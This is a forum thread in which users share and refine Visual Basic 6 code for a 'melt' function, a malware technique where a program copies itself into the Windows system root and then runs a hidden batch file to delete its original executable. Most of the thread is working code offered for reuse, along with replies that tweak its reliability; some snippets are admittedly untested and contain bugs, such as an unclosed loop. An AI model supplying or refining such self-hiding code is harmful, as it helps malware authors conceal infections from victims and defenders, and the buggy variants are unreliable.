Thread: Melt Function

Hi guys... here is a melt function

Code:

Private Sub Form_Load()
If App.Path <> Environ("systemroot") Then 'If File doesnt exist in systemroot then do
DoEvent:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe" 'Copy file to systemroot and rename it

End If
Dim i As Integer
Open Environ("systemroot") & "runner.bat" For Output As #1 'open a bat file called runner.bat
Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
Close #1 'Now Done, close file
For i = 0 To 10000
i = i + 1
Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End
End Sub

Nice

thanx

Works fine 98% of the time
If you want it 100% duplicate the deletion action

ie.

Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End

Regards,
<22Cms>

Originally Posted by common26

Works fine 98% of the time
If you want it 100% duplicate the deletion action

ie.

Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End

Regards,
<22Cms>

Works fine 99% of the time
If you want it 100% duplicate the deletion action

ie.

Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End

thanks I will do

Use a loop instead

dim i as integer
For i = 1 to 5
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
next i

Originally Posted by KriPpLer

Use a loop instead

dim i as integer
For i = 1 to 5
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
next i

Yeyeye xD
I was just kidding.
This is maybe the best:

Code:

Private Sub Form_Load()
If App.Path <> Environ("systemroot") Then
DoEvent:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe"

End If
Dim i As Integer
Open Environ("systemroot") & "runner.bat" For Output As #1
Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
Close #1 'Now Done, close file
For i = 0 To 10000
i = i + 1
Next

While 1
If FileExists(App.Path & "\" & App.EXEName & ".exe") = True Then
Shell Environ("systemroot") & "runner.bat", vbHide
Else
End 'or exitsub or w/e


End
End Sub
Public Function FileExists(sFullPath As String) As Boolean
    Dim oFile As New Scripting.FileSystemObject
    FileExists = oFile.FileExists(sFullPath)
End Function

But maybe this doesn't work... Dunno, never tested it

I have a Problem


Please Help...


http://bilderupload.biz/bild.php/7123,help04HP7.jpg

Just replace the function FileExists with this one:

Code:

Function FileExists(FileName As String) As Boolean
    On Error GoTo ErrorHandler
    FileExists = (GetAttr(FileName) And vbDirectory) = 0
ErrorHandler:
End Function